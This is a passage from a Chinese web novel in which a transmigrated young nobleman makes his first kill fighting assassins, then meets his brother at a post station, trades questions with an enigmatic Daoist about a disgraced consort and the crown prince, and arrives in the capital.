求生的本能告诉严澈,他应该立刻走。 但是,做人可以这样吗? 16.严澈的新手村首杀 这感觉不就是自己和兄弟走在巷子里遇上了一伙亮出匕首的匪徒,要杀人越货。 兄弟把匪徒拦下喊他走,他转头跑了,第二天就是兄弟被刺得鲜血淋漓不治而亡的新闻上头条? 这会是一辈子过不去的坎儿。 至此以后的每一天,都是审判。 他丫的还不如同生共死呢。 “同生共死”的念头一出,无数片段忽地涌入了严澈的脑海,那全是过去十几年他被严镇强迫练剑,还有严赋和梁椿在旁边陪他练、哄他练的记忆。 福至心灵的他心血沸腾,好像顿悟了什么。 他果断地转身,迅速抽剑,一副要砍断缰绳的架势,高喊:“椿哥,等我给你搬救兵——” 果然,本来货郎的双刀已经架在了梁椿的枪杆上,李顺趁势袭向梁椿的脚背,发现严澈要跑,李顺不得不转冲向严澈。 在李顺看来,严澈就是闲人公子,没有江湖阅历,给了他剑也半天出不了鞘,先解决了他就能乱了梁椿的心神。 严澈一副笨拙的样子想要砍开马和车之间的缰绳,眼角的余光却注视着地面,果然李顺的影子已经逼近。 匕首的寒光闪现,李顺矮身冲刺,刀尖直取严澈的后心! 严澈的心弦紧绷到了极限,他一脚踩着马鞍,不是上马而是借力向另一侧仰倒,脊背几乎平行于马背之下,手中的剑却随着手腕迅速转过角度。 这便是严家剑法的“井底望月”,剑尖自下而上挑刺,恰好直指李顺的咽喉,李顺惊骇止步,匕首横截,将将挡在剑尖上,心底一阵毛骨悚然。 严澈下意识腰腹发力,身形回正,手臂与手腕持续发力,剑身连续震击匕首侧面,层层叠叠延绵不绝,正是严家剑法里的“推波助澜”,李顺的虎口发麻,匕首差点脱手! “你还挺会装!”李顺咬牙切齿。 严澈此刻的心神集中,连恐惧都忘了,“哦,装什么?” 从书穿而来,他就得装任性孩子,装糖,装睡,还得不懂装懂,现在是装威风! 退半步就是生死,必须得一鼓作气,死装到底。 严澈手中剑在腰间旋出半弧,估算着自己和李顺之间的距离以及李顺爆发的范围,半步都不能出错,一剑荡开,角度却是自己在脑海中估算的,李顺侧身低头要袭击严澈的腰,但喉间已绽开一线血痕。 少时大哥扣着他的手腕,带着他练了无数遍的这正是这最擅长的一招——星垂平野。 大巧不工,就得料敌先机。 李顺的身体栽倒了下去,眼睛里写满了难以置信。 严澈拎着剑向后摇晃了两步,他也难以置信,这是他人生的首杀。 到了此时此刻,他算明白了。 无论是骑马还是严家剑法,都是原著里的严澈本来就有的技能。 书穿之后的严澈,因为没让大哥严赋去娉霞山庄,避免了之后的灾祸,所以拿到了骑马的技能 而现在,他没有扔下梁椿逃跑,所以这副身体曾经学过的严家剑法也成为他现在的一部分。 严澈大胆猜测,是不是只要他做到了原主没有做到的事情,或者保护了原主想要保护的人,他就能融会贯通这具身体本来就掌握了的知识或者能力? 没有了李顺的骚扰,梁椿对付起货郎来可谓游刃有余。 货郎见李顺死了,攻击态势更盛,双刀斩下,一取梁椿的咽喉,另一斩就是腰身,果决狠辣。 梁椿不退反进,长枪一抖,枪尖如同游龙飞遁,直点货郎的手腕。 这一枪后发先至,对手被逼收刀交叉格挡,但梁椿根本不给货郎喘息的机会,枪尖回弹,立刻画了个半弧刺向面门,货郎竟然又仰面挡过了!真是难杀! 但梁椿却有耐心的很,一击不成,还有二、三、四、五、六,货郎的阵脚越来越乱,严澈看着梁椿肩背发力,腰劲十足,长腿长臂赏心悦目,真心觉得帅爆了! 似乎感受到自家郎君仰慕的惊叹,梁椿手腕一翻,枪尖弹起,竟然从货郎那两把刀的缝隙间穿过,抖出三朵枪花,分刺肩窝、胸口和咽喉,虚实难辨,枪杆猝不及防地回收,骤然上挑正中刀背! 这一枪带着巧劲儿,直接将刀震飞了。 货郎只剩下单刀,再难抵挡,枪杆骤然向前腾冲,眨眼间击穿了货郎的咽喉。 严澈拎着剑就朝着梁椿冲了过来,一把在他后背上拍了一下,“你太厉害了吧!我要是我爹,就把我姐嫁给你!这样我就是你姐夫了!” 梁椿:“……那样的话,我是你姐夫。” “哦。” 他口嗨想占便宜,结果没占着。 溪水边,那个什么砚真还在躲着书生的暗器,明摆着就是想消耗完对方的储备,但人家的书箱不是白背的,端起拍一下……本来以为会有什么暴雨梨花的奇景,谁知道里面的机关卡住了。 严澈都想问那个书生:你他喵的行不行? 身为杀手出门都不检查装备吗?没有PnB吗? 砚真就像知道严澈在想什么,竟然还瞥了他一眼,脸上的神情云淡风轻的,还有闲工夫调侃严澈:“郎君明明剑法精湛,却一路藏拙,到底是想要骗过谁?” 这狗东西好看是真好看,但是太气人了。 严澈盼着他噶,又盼着他那张脸不会噶得太难看。 梁椿蹙眉观察了一会儿,立刻看出端倪,忽然拿过了严澈的剑,朝着砚真扔了过去,“道长接剑!” 砚真左手接剑,手腕一转刺向前方,剑势大气,清正潇洒如流云飞瀑,和他用短剑杀人的时候完全两种风格,剑尖在书箱上强势拨转,竟然被挑飞了出去。 当严澈看见书生抬起手时,忍不住大喊:“小心……” 书生手腕上有机括,铁莲子真要是弹出去,杀伤力估计跟子弹有得一拼! 严澈的话还没有说完,砚真右手的短剑利落狠辣地斜刺入对方腕心,书生张嘴还没有吼出来,手腕就被切了下来,长剑紧随而至,架在书生的脖子上,快如银环飞闪,他的脑袋掉了下来。 砚真看了一眼手中的长剑,赞叹道:“好剑。” 严澈的喉咙咕嘟一声,杀 人不过头点地……砚真取人脑袋的操作很熟练。 他到底杀过多少人? 砚真看向严澈,微微一笑,剑尖一甩,血就飞了出去,然后不紧不慢的走到了严澈的面前,手腕一转变成手指托着剑柄,还给严澈。 “郎君,你的剑。” 其实不必了……你留着呗。 严澈只觉得自己脖子上冰冰凉,下意识后退了半步,攥住了梁椿的袖子。 他怵眼前这个人,明明自己刚才也杀了人,但他严澈还是新手村的菜鸡,而砚真,号称自己是个道士,已经是取人性命的个中高手了。 砚真脸上的笑逐渐变得冰凉,他的视线落在严澈攥袖子的指尖,少年的甲盖修剪的圆润整齐,微微曲起的指节透露出对梁椿完全的依赖。 梁椿抬手正要把剑接回来,但砚真却又将剑柄送到了严澈攥着梁椿衣角的手边,语气比之前还温和,“郎君,你的剑。” 严澈不情愿地伸出手,扣住了剑柄,而砚真的手托在剑柄之下,对方离开时指尖好像触碰到了严澈,心神一阵紧张,还来不及多想,砚真就慢悠悠走向前去。 娟娘见同伙都倒下了,自己不可能以一敌四,正要转身逃跑,谢鞅捂着肩膀要追,砚真只是弯腰捡起了李顺的匕首,用力一掷,娟娘扑倒在地,谢鞅上前补刀。 “啧啧啧。谢大人,看来我们得快一点到红原驿站,不然你肩膀上的血都要流干了。” 砚真这语气,到底是关心谢鞅,还是乐见他倒血霉呢? 梁椿二话不说,拽了严澈上马车:“两位,此地不宜久留,有什么事路上再分说。” “啊,你还要带着他们啊!”严澈没忍住,抱怨出声。 也不知是不是错觉,梁椿对严澈似乎温和了许多,“郎君,户部侍郎姜耘被诬陷贪污军饷,谢大人手中有为他翻案的证据。当年南峻关缺粮,是姜大人想尽办法凑了粮食解围,也因此得罪了一些权贵。如果主人……还有令尊在这里的话,一定会帮忙帮到底的。” 这么一说,严澈就明白为什么梁椿愿意帮谢鞅,也能理解为什么这一路有人追杀他们了。 “好吧,别废话了,咱们赶紧走。” 严澈转身就往马车去了。 这两匹马还真够意思的,刚才那么危险,它们也没有跑。 后来严澈才晓得这两匹马可是大哥严赋亲自训练的,素质高着呢。 马凳早就被打烂了,严澈姿势有些难看地往车上爬,忽然有一只手托住了他的后腰之下,一个用力就将他送上去了。 “谢啊!”严澈回头,他本以为是梁椿,没想到竟然又是那个坏道士砚真! 严澈一个小哆嗦,然而砚真却长腿一迈轻松上了车,还不忘给了严澈一个微笑,慈善得堪比道观里的神像。 鱼汤也没喝上,严澈只能跟梁椿并肩坐着,梁椿驾车,严澈啃饼。 车子里面传来谢鞅的闷哼声,还有铁锈般的味道,估计是正在处理伤口。 砚真的声音传来,“郎君不进来坐?少了两个人,里面宽敞多了。” 17.驿站重逢 严澈背对着砚真翻了个白眼:“我年纪还小,没见过世面,这辈子第一次杀人,再见着谢大人肩头那么深的伤口,晚上会睡不着。” 谢鞅咬着牙关,开口解释道:“那个手持匕首、形若小儿的杀手名叫李顺,他手中亡魂无数,专门刺杀不懂事的朝廷命官。比如秉公执法斩了钰嘉长公主女婿的横州知府,再比如执意调查淮阴桥塌陷原因的工部郎中……还有我的好友,也是大理寺丞……总而言之,郎君为很多好人报了仇。若那个李顺鬼魂来扰郎君夜梦,自会有无数英魂来保护郎君。” 听到谢鞅这么说,严澈的脸都皱一起了,“谢大人,我谢谢你嘞!你什么都没说之前,我压根就没想过李顺会来找我嘞!现在倒好,我的梦中鬼魂除了矮子李顺,还多了好多不认识的嘞!” 谢鞅也是被气笑了,伤口差点没再崩开。 梁椿看了严澈一眼,“方才郎君拔了剑,明明一副不知所措的模样,怎的忽然就英勇起来了?” 严澈低着头,有些委屈地解释:“平日里都是大哥或者阿爹陪我练剑,输的再凄惨也知道自己不可能死。流点鼻血往地上一趟,你们都得来哄我。可那些杀手不一样,他们要命的,我怎么能不怕?” 梁椿难得抬起手,摸了摸严澈的脑袋,“那以后有机会,让主人带你上战场,多杀几个南蛮铁骑就不怕了。” 严澈:啥?我跟你有仇吗?你要这样报答我? 车里的砚真就像知道严澈在想什么似的,竟然又笑了一下。 “郎君愿意留下来,我其实挺意外。”梁椿道。 “就没点小感动吗?要不是我把李顺支开,你早凉凉了。”严澈用手指比划所谓的“小小感动”。 “郎君的性命比我重要的多。所以下次遇到这样的事情,郎君一定马上离开。”梁椿说得郑重。 唉,严澈没能感动梁椿,梁椿却把严澈感动得眼睛有点酸。 “那下次遇到这样的事情,椿哥你也得记着——你家郎君我不认识路,你要是有个好歹,我就成找不到回家路的流浪儿了。” 梁椿低下头笑了一下。 车帘微微掀起,砚真就在里面坐着听他们主从二人说话。 严澈的头发有点乱,低着头蔫蔫的,露出一节脖颈,随着马车一晃一摇,像一只可怜巴巴的小鹌鹑。 莫名其妙的感觉又来了,他想要把他养起来,好吃好喝地供着,看他毛顺肚圆,精神抖擞地叽叽喳喳。 马车一摇晃,严澈就困了,本来前一晚就没睡好,这会儿更加撑不下去,直接趴下来,脑袋不客气地枕在梁椿的腿上。 梁椿本来想拍醒他,让他进去睡,但一低头就看见严澈很乖很乖的样子,一只手还攥着自己的衣角,梁椿叹了口气,算了,随他吧。 他们一路不敢停歇,终于在戊时赶到了红原驿站,有几个大理寺的司直赶来接应谢鞅。 看到他们那一身官服,严澈终于彻底放下心来,至少谢鞅不是骗子,他们这一路没有白被算计追杀。 “澈儿!” 一声带着期盼和包容的呼喊声响起,严澈顺着声音望去,就看见大哥严赋站在驿站门前,应该是在窗上一直看他们来的方向,见到马车就立刻迎出来了。 多好的大哥啊,又包容严澈的胡闹任性,对严家也是不离不弃。 这一路颠沛,还被人算计群殴,再看见大哥,总觉得对方怎么这么顺眼,这么让人安心。 “大哥——” 严澈鼻子一酸,张开手臂奔跑过去,撞进严赋的怀里。 严赋怔愣了一下,小弟这般亲近,仿佛回到了小时候赖在自己身边等着带他出去玩的时候。 “怎么了?”严赋抬起手,有些无措,然后轻轻拍了拍。 “我差点就挂了啊——” 严赋刚才看见重伤的谢鞅被同僚扶走,料想他们这一路恐怕出了什么事。 他看向梁椿,梁椿低声道:“确实发生了一些事情,等郎君安顿好了,属下再与主人细说。” “好。”严赋拍了拍严澈的后背,“赶了一路,饿了吧。我这就让驿丞备些饭食。” 提起吃的,严澈的腮帮子发酸,嘴馋的很。毕竟这一路他就光啃饼子了。 只是那个砚真,藏头露尾的,怎么没跟谢鞅一起下车?人也不知道哪里去了。 时辰不早了,还好严赋为了小弟舍得花钱,再加上他为人处事也妥帖,驿站的驿丞特地重新烧灶,做了个红枣炖鸡,汤汁收得半干,入味的很,再切了点卤牛肉,拌了个黄瓜,饭菜端进了严赋的屋子。 光闻着味道,严澈就要流口水,鸡肉炖得软烂,筷子一戳鸡腿就掉下来了。 他看了大哥一眼,大哥笑着摇了摇头:“我用过晚饭了,你和梁椿吃吧。” 严澈就不客气地啃了起来,大哥一边看一边体贴地给严澈倒了茶水。 说是一起吃饭,但梁椿没怎么动过筷子,他们这番经历也不好说得太大声,毕竟谢鞅要办的案子也算秘密,于是梁椿的声音压得很低,严澈都得伸长了脖子才能听清楚他到底说的是什么。 主要的内容,严澈早就知道了,但说起破庙里的事情,原来谢鞅和砚真还真的是为了救他们才非要上的马车。 当时他俩一进破庙,发现借宿的人这么多,哪怕有官道不通这个理由,谢鞅和砚真还是留了个心眼。 谢鞅在这里约了一个所谓的“自己人”,按照严澈的理解就是警匪剧里的线人。 约见之前,他们悄悄用了所谓的“笼中梦”确保破庙里的人无论是好是坏都睡昏过去,偏偏喝多了水的严澈就是那个万一。 谁知道谢鞅约见的线人变节了,这傻缺还把戴着帏帽的砚真当成是大理寺丞谢鞅,于是出手偷袭,被砚真给解决了。 谢鞅觉得贪污案的背后主使不会只安排一个线人来解决他们,一定还有后手,甚至可能收买了杀手组织“夜行傀”,这个杀手组织专门暗杀官员,收费当然也很高昂。 按道理他们应该就此离开破庙,回来的原因正是因为谢鞅认出严澈的马车侧边刻有南川守军的标记,立刻 就猜到他们主仆二人恐怕是某位回都城述职的官员家眷。 谢鞅不想自己的案子牵连无辜,万一破庙里真的有杀手暗藏,说不定会对严澈主仆不利,于是就带着砚真回来了,他们本想守到天亮,确定严澈和梁椿安然离开就好。 谁知道娟娘搭讪,竟然和李顺一起上了严澈的车。 一开始连谢鞅也觉得带一对母子不会有太大危险,谁知道砚真却一眼识破他们有问题。 根据以往“夜行傀”的行事作风,砚真怀疑娟娘和李顺会在半路杀了严澈主仆,假装遇上山匪,等到谢鞅和砚真路过的时候再呼救,以谢鞅的性格一定会冲过去救人,然后娟娘和李顺就会合力将谢鞅击杀。 因为有了这个怀疑,谢鞅和砚真就特地上了严家的马车。 这些应该梁椿根据谢鞅所说的推测出来的。 听完之后,严澈的背脊一阵发凉。 他自以为是的善举可能是催命符,自己死了不说,还会连累梁椿。 而砚真在溪水边说的那些话,并不是为了扰乱他的心境,也不是为了吓唬他,都是真的。 不知道为什么,严澈的心里沉甸甸的,卤牛肉也不香了。 严赋和梁椿商量了一番,最后决定不对外说他们救了谢鞅的事情,只说路上遇到受伤拦车的谢大人,将他带来驿站。 都城水深,严家万一被贪腐案背后的权贵视作眼中钉,日后会遭遇的打压防不胜防。 说完之后,两人都齐齐看向严澈。 “看我干什么啊……” 梁椿开口道:“郎君提剑杀李顺的英勇,属下已经报知主人,还望郎君不要再对外人道。” “我有那么肤浅吗?一点点小成就还得炫耀得全家、全都城都知道?”严澈反问。 严赋很温柔地笑了一下,“嗯,小弟长大了。” 好吧,听起来就是“你从前就是如此这般的肤浅”。 严澈擦了擦嘴,不满地说:“我回去睡觉了!” 梁椿一低头,才发现自己面前的碗里放着一只鸡腿、半碗牛肉,这是当他和严赋说话的时候,严澈给他夹的。 等到严澈走远了,严赋才半开玩笑地说:“梁椿,你可真有福气。我家小弟从来没有给我夹过鸡腿。” 梁椿笑了笑,算是没白让这小子把自己的大腿睡到发麻。 严澈没有立刻回到自己的房间,而是询问一位值夜的驿卒知不知道一位名叫砚真的道长住在哪间房,他想跟对方说一声谢谢。 没想到驿卒竟然说根本没有道士住在这里。 “你确定?他可是来自紫宸宫!紫宸宫你知道吗?就是国师辅元真人的地盘!” 驿卒还是摇头。 我去,搞半天那家伙还真是个假道士?到了驿站装不下去了,所以溜之大吉? 严澈叹了口气,感激的话没机会说出来,憋在心里不上不下。 上楼到了自己的房间门口,严澈打开门的瞬间发现里面坐着个熟悉的身影,对方一席墨色道袍,正惬意地倒着茶水。 18.我选太子 这不正是那位消失不见的道士“砚真”吗? “对……对不起我走错了……” 严澈刚要关上房门退走,砚真的声音传来,带着一丝调侃的笑。 “小郎君没有走错,这就是你的房间。我还剩半盏茶的时间,想问你三个问题。问完之后,紫宸宫的人就会来接我了。” 听到“紫宸宫”三个字,严澈又松了口气,所以对方是正儿八经的公务员咯。 他进了屋子,把门关上,在砚真的对面坐下。 撇开对方的目的、捉摸不透的心性不说,砚真的脸是真的很夯,以后就算在紫宸宫混不下去了,出去摆摊也会有很多人为了近距离欣赏他那张脸而高价请他算命吧。 为了不被动摇心境,严澈垂下眼,给自己倒了杯茶,然后尽量让自己看着茶水。 “有什么问题,你问吧。” “第一个问题,在酒肆门前,谢鞅曾经问过你,是不是讨厌说书先生讲罪妃杨氏的故事,尽管《孽海胭脂湖》早已传遍大江南北,杨氏……只会被万世唾骂。” 严澈歪起脑袋,不解地问:“你为什么问我这个?” “因为你说如果我撩起帏纱让你看,你就会说答案。你不觉得这是你欠我的吗?” “哦……原来是这样。” 如果坐在自己面前的是个正儿八经的朝廷官员,甚至儒生学子,严澈都不好跟对方探讨这个问题。 但砚真……应该是个跟随国师修行的道士,没有官身。 严澈其实也希望有人能认可自己对杨氏的看法,哪怕就一两个人根本改变不了整个世俗对杨氏的定论。 “当年的贪墨案应是惊动了三司会审,道兄能说一说结果吗?”严澈问。 砚真很轻地笑了一下,开口道:“深居后宫的杨氏为了巩固自己的地位,妄图与皇后一争高低,不惜成立了天香会,让民间信徒为她兴造宫观,香火供奉。调查此案的官员说杨氏醉心此道,甚至拉拢前任户部尚书刘喆截留了本该送往南陇赈灾的三十万两白银,用于广纳信徒。最后三司追回了八千两赈灾银,算是物证。” “这合理吗?”严澈反问。 砚真竟然主动给严澈倒了茶水,“哦?为什么郎君觉得没道理,说来听听?” “杨氏入宫以前,已经是名满南川的才女,一位能开办私塾的女先生,就连我娘都曾经去听过她讲圣人道理,她学识广博满腹经纶,甚至能与鸿鹄山主辩经。她如果想要名声,可以请奏圣上,为天下女子广开学塾,百姓……特别是想要识字的女子应会感激她,何必去当什么天香会的神女?” 严澈下意识抬眼,正好对上砚真平静却深不见底的眸子,赶紧又低了下来,自己把玩着茶杯。 “更不用说那三十万两白银最后只追回了八千两,剩下的哪里去了?那些被朝廷取缔的宫观可是之前信徒们筹款建的,跟这笔被贪墨的赈灾款没有半毛钱干系。” 对面的砚真抬起茶杯轻轻抿了一口,衣袖几乎遮挡住他的表情。 “就这吗?可能只是你不知其中内情。” “那就说她笼络刘喆这点。杨氏来自民间,虽然出身当地富贾,但她毫无官场背景,根本不值得那位户部尚书押宝。放着出身相府的皇后,还有太师之女的娴贵妃,哪一个不比杨氏有背景?更何况当时的杨氏无子,何谈未来?刘喆是眼瞎还是脑残,非要帮杨氏去搞这些?能捞到什么好处?一个户部尚书难道账都不会算?利弊得失也掂量不清?” 砚真还是那抹淡淡的笑:“大概因为杨氏当年对被贬谪南川的刘喆非常礼待吧。” 这是案卷里刘喆供出杨氏的时候给的理由,什么士为知己者死。 “我对你也很礼待啊,你会给我建宫观,把我当神子供起来吗?”严澈没好气地反问。 这一次,倒是让砚真笑出声来,虽然只是一声,却相当悦耳。 他摇了摇手,“你若想要,回了紫宸宫,我可以在静室里给你立个长生牌位。” “那倒不必,听起来仿佛我已经死了。” 砚真没忍住,喉间又溢出一丝笑,“还有什么其他原因吗?” 大概是因为他的笑有种真实感,仿佛真的是因为严澈说了什么让他开心了,这也让严澈下意识放松了戒备,说的话跨过了妄议皇家的界限。 “还有,南陇民怨沸腾,三司都请旨赐死杨氏,陛下却只是将她幽禁冷宫,难道真的因为她刚好有孕吗?倒不如说是一个男人面对局势无能为力,但无论如何他也不想杨氏背锅而死,用这种方式保住她的性命,以图日后翻案。只可惜杨氏……在冷宫里也没有多活几日……” 意识到自己不该说这些,严澈立刻闭嘴。 两人之间的沉默让严澈有些心慌,真该扇自己一耳光。 砚真沉默了。 严澈只好试探地问:“方才是我失言了,你能当没听见吗?” “我听见了,很抱歉没办法当做没听见。” 砚真看向严澈,很认真地回答。 只可惜严澈却低着头没有看向他。 严澈皱着眉头想了半天,反正这个世界又不能录音录像,是他说的又怎样? 又没有第三个人听见。 真要是什么大人物想要拍死他,欲加之罪何患无辞,这条有没有都不重要。 砚真却缓慢前倾,双臂交叉搭在桌子上,目光细细地描摹着严澈低垂的眼睛,像是在寻找和探究什么。 明明眼前的少年未及弱冠,还是在边关长大,可为什么和他前世的记忆……全然不同呢? “我的第二个问题,你为什么要装傻?” 严澈冷不丁听到那两个字,被自己的口水给呛到了。 “装傻?你的意思是你有觉得我傻?” 砚真笑而不答。 “好好好,没发现那对母子有问题是我傻,但那是江湖经验造成的。可……其他时候我根本没傻过!” 被人说傻就不高兴了,这般孩子气,好像又和他了解到的严家小儿子无甚差别。 “是吗?传说严镇将军的小儿子是被全家捧着长大的,自幼性子骄纵任性,半点不喜读书向学。家中几番延名师来教导,至多三个月就得被气走,岁岁常换先生,年年做不出半点学问。如今年方十七,堪堪读完几本启蒙粗浅典籍罢了。” 严澈却很惊讶,难不成大理寺还会调查南川应诏回都城的守将,包括家眷?砚真的这些消息是那个谢鞅告诉他的? “我确实不爱读书,现在的学问也就那么点。而且我努力读书,也考不上什么秀才举人。能认得字,看得懂日常信件不就够了吗。” 这一次,严澈抬起眼来,才发现对面的砚真一直看着自己。 “听起来倒是实诚。但是严澈,你今天说起罪妃杨氏的案子,头头是道,可一点不像没怎么读过书的人。” 严澈深吸一口气,缓声道:“我不比这天下大多数人聪明。只不过权力威慑之下,官员百姓们都选择了一个让他们能更轻松过日子的真相罢了。你救了我和梁椿,所以你问我,我便遵循本心来回答你,仅此而已。” “那我的第三个问题,希望你也能如实回答。” 不知是不是错觉,砚真唇上的那一抹笑有点坏。 “你问呗。” 至于回答你真话还是假话,我可以掂量着来。 “听闻你倾慕齐王容颜出众,往日寒冬还亲自搜罗满满一车绿梅相送,此事可当真?” 严澈一听,什么什么什么?这事儿连都城都知道了吗?好丢人! 是啊是啊,我喜欢齐王喜欢的巴不得他早点去阎王爷那儿喝头汤! 他要是咽气了,老子肯定敲锣打鼓,唢呐一响,给他撒纸钱万两! 当然这话都不能说,但严澈还是按耐不住翻了个白眼。 那表情,真的是所有怨恨尽皆付诸这一眼中。 不需要严澈开口说什么,是人就能看懂。 砚真嘴角的笑都有些压不住了。 “好的,三个问题已经问完。”砚真起身将窗推起,看向远方,“但是我的人还没有来。我再问你一个额外的问题,如果你愿意回答,等你入了都城,我会送你一件礼物。” “啊?什么礼物?” “看我心情。”砚真侧过脸,好笑地反问,“你不是应该问我什么问题吗?” “好吧,你要问什么问题?” “严家入了都城,必然会被多方势力拉扯推压,那么在诸多皇子之中,会选哪位作为日后靠山?” 这是个绝对的送命题。 无论砚真是好人还是坏人,严澈都不能回答。 严澈的沉默在砚真的意料之中。 “算了,我走了。” 砚真看了严澈一眼,他的样子很烦恼,能让这没心没肺的小子烦恼,砚真心里竟然有几分高兴。 不过,这个问题是严家必须要面对的,就算严澈不回答,都城这座吞噬人心的庞然巨兽也会逼着他作答。 只是忽然想起严澈趴在梁椿腿上睡觉的样子,期间梁椿轻轻摸了一下他的脑袋。 还有他万般依恋喊着大哥,冲进严赋怀里的时候,严赋也是近乎溺爱地摸了摸他的脑袋。 明明不是小孩子了,却会让人想要摸他的头。 就在砚真即将抬起手的时候,严澈蓦然开口。 “我不能替严家选。” “那……就不要替严家选,替你自己选呢?” 砚真微微前倾,看向严澈。 不知为何,他的心绪像是被一只无形的手用力捏着,一呼一吸都在忐忑,他明明不该有所期待,上一世的众叛亲离、万箭穿身还历历在目,但他却那么想要又害怕听到严澈给出的答案。 “太子。” 严澈的声音很小,但却没有犹豫。 砚真的喉咙动了动,声音放得柔缓,像是害怕惊扰某个脆弱的可能一碰就会碎的答案。 19.买新衣服去咯! “为什么?” 严澈用难以理解的目光看向他,澄澈的眸光里盛着满满的不解。 “什么‘为什么’?” “因为他是皇后嫡出,丞相扶持,授东宫印玺,是所谓的正统吗?” 严澈无奈地笑了一下,“我选太子,并不是指望他能继承大统,给严家带来什么荣耀,而是希望他能平安。” “平安?”砚真难以理解地问。 “他……大概是皇室里唯一的君子吧。在天家,做君子一定会被伤害,也注定会对人心失望。” 砚真的心绪像是被一股无形却温柔的力量抓住了,“你说他是君子?” “君子论迹,不论出身。他是不是君子,与他的母亲是谁,与他有没有东宫印玺无关。” 要知道严澈看小说的时候,太子就是白月光一般而存在。 他看向砚真,这一次没有闪躲,目光坦荡直白,因为他想砚真相信他说的话。 对面的人却忽然伸出手,没有摸他的脑袋,而是捂住了他的眼睛。 “上辈子,我要是遇见过你……就好了。” 砚真的手指修长,很轻松就挡住了一切。 “啊?” 这家伙在说什么莫名其妙的东西? “严澈,你可以长大,可以变得世故圆滑,为严家谋划一切也罢,但你千万千万不要变成我最讨厌的那种人。因为我多半舍不得杀你,但我会把这双欺骗我的眼睛摘下来。” 严澈顿住了,我们不是推心置腹聊的还行吗? 好端端怎么又进入了要摘我眼睛的模式?齐王是这样,坏道士也是这样! 我的眼睛是夜明珠吗?哪里没光哪里安? 严澈责怪自己不小心,气氛不错地聊了两句天,就以为能和对方结交,却忘记对方的行事风格! “还有,关于我的一切你最好守口如瓶。就当从未认识过我也行,否则你们严家恐怕要遭殃。” 严澈不明白,面前这人为什么要用这样的语气,说这样斩钉截铁、不留余地的话。 难道他们一起经历的一切喂了狗吗? “这样……你才能活的久一点。” 严澈点了点头。 你都说不认识你才能活得久,我还能怎么办?答应你呗。 “很好。” 砚真后退了一步,正好退出门外,当严澈睁开眼睛的时候,房门已经关上了。 严澈赶紧来到窗前,脖子探出去左看右看,不是说紫宸宫的人会来接他吗? 根本没有马车,这家伙又骗人了? 他本来就心大,睡一晚上,什么坎儿就都过去了。 又赶了几日的行程,基本就是严澈坐马车被晃得晕乎乎,抱着软枕睡个昏天暗地。 睡饱了就吃饭,精神头来了就骑马,一边骑马还要一边问严赋:“大哥大哥我马骑得怎样”。 “自然是不错的。”严赋笑着回答。 偶尔严澈骑着马颠颠地到前面去了,严赋还会高喊着“慢一点”。 这些日子相处下来,严澈发现只要对着严赋喊“大哥”,不需要刻意卖乖装糖,所有不过分的要求,严赋都会答应。 严澈:看吧,大哥多好哄。 一路顺畅,三日之后他们就顺利抵达都城了。 进城的时候,严澈看着城门,觉得都城也不过如此,就是个天然版的横店影视城。 可越是临近都城的核心,目光已经能看见大衡王朝的皇宫,严澈就越是惊叹。 远处是九重宫阙巍峨雄峙,皇权的威压、千年洗礼的厚重感迎面而来。 眼前则是十里长街,朱楼画栋鳞次栉比,瓦黛连云与天接。 酒旗招展,茶肆飘香,沿街商贩吆喝声此起彼伏,街巷间车马络绎不绝,长衫儒生谈笑往来,还真是一派锦绣太平。 严澈凑到了梁椿的身边,笑呵呵地问:“椿哥,一会儿同我来逛逛呗。” 梁椿一眼就看穿严澈想的是什么,故意逗他:“郎君身上可有银钱?” “钱是死的,人是活的,没钱就管大哥要呗。” 他无赖的样子让梁椿无可奈何,“郎君,这里是都城,属下也不认路。” 严澈歪过脑袋,瘪了瘪嘴。 大哥安慰道:“先别急着玩乐,我们得去永安观与舅父还有阿凝汇合。” “哦。” 大衡朝常有外地官员入都城述职,大多不会选择住在会馆或者租住私宅,因为天子尤为不喜官员乡党议政或者植党营私,再加上大衡崇尚道教,官员们反倒更愿意寄宿道观。 永安观就是都城内有名的道观之一,客房静室的环境都还不错,距离皇宫不算太远,算是个绝佳的选择。 严澈还挺满意自己的房间,放好了行礼,去拜见了爹。 严镇还是老样子,认真八百地在奏疏写着“二十年边关安宁,陛下洪福齐天”的流水账,而这奏折模板,真的多亏了公孙瑕数十年如一日的指点教导。 好不容易有了表现的机会,严澈又在姚公公面前讲了许多严家为了镇守南峻关所做的努力,比如给门扇涂抹湿泥、囤积沙土克制南蛮火攻,兴建水利、开渠分流,杜绝南蛮水淹之策。 守城的时候具体干了些什么,才是皇帝想要看到的,这不就是现实里各位老板的流程管理吗? 下属汇报得越细致、越忙碌,老板才会觉得你劳苦功高,没在偷懒。 老爹写的这玩意儿……还不如严澈小学时候的作文呢,至少描写风景还能有个虫鸣鸟叫、花红柳绿。 这事儿,他来劝是没有用的,毕竟自己在严镇的心里只是任性的小儿子。 还是得找大哥聊聊。 这份奏疏就是严镇二十年的工作总结,若还是贯彻“不求有功,但求无过”的模板,如何在那一众歌功颂德、自夸自卖的折子里脱颖而出? 更不用说还有好些官员是特地请了大儒先生,集群策群力之大成,那些奏疏从遣词行文到内容布局都堪比考状元。 而严镇哦,在公孙瑕的循循善诱之下,公文水平从原先的五十分直线下降为零分,办公室收发员……啊,不对,是内庭官员们看了都表示难以在汪洋大海里找到有用内容。 严澈大摇大摆地敲开了大哥的房间,一声亲昵的“大哥”吸引了严赋的注意。 此时的严赋手里端着书坐在窗边,好笑地看着小弟背着手,在他那堆书前左看看、右看看,但明显醉翁之意不在酒。 “怎么了?是憋不住了,想要梁椿陪你出去转转?” “大哥,我不是来跟你说转转的事儿。你知道我在瑶昌县主那里跟着礼部的简大人学了好多天的规矩吧?” “嗯,我们的澈儿辛苦了。” “后头又来了个眉目慈善的白胡子老爷爷,简大人和县主都对他特别恭敬。” 严赋终于放下了书,他何等聪慧,当然意识到了这位“白胡子老爷爷”是宫里派来了解情况的,甚至可能是陛下身边的人。 “那位大人可是说了什么?” “也没什么,他喜欢听南川的风土人情,特别爱听我讲严家军怎么对付南蛮探子,如何英勇守城,还有阿爹和大哥你们如何前后搭配、遥相呼应,在万军从中取敌将首级的故事。” 严赋笑着摇了摇头,“舅父和我好像取的只是副将首级。” “唉,管他呢。反正那个白胡子老爷爷听得可开心了。他还叮嘱了我——如果郎君有幸得见圣驾,哪怕只有一面,你们严氏父子定要对圣上忠心直言,不可藏私。” 严赋的眉眼深敛,看来是在思考严澈说的这段话。 “哦哦,他还说……那句话文绉绉的……简禾大人还抓着我背下来说给你们听……对了,是‘陛下尤喜闻臣工陈其所成之事,述其行止、论其利害、断其后效之吉凶’!” 严澈一副绞尽脑汁背出来的样子。 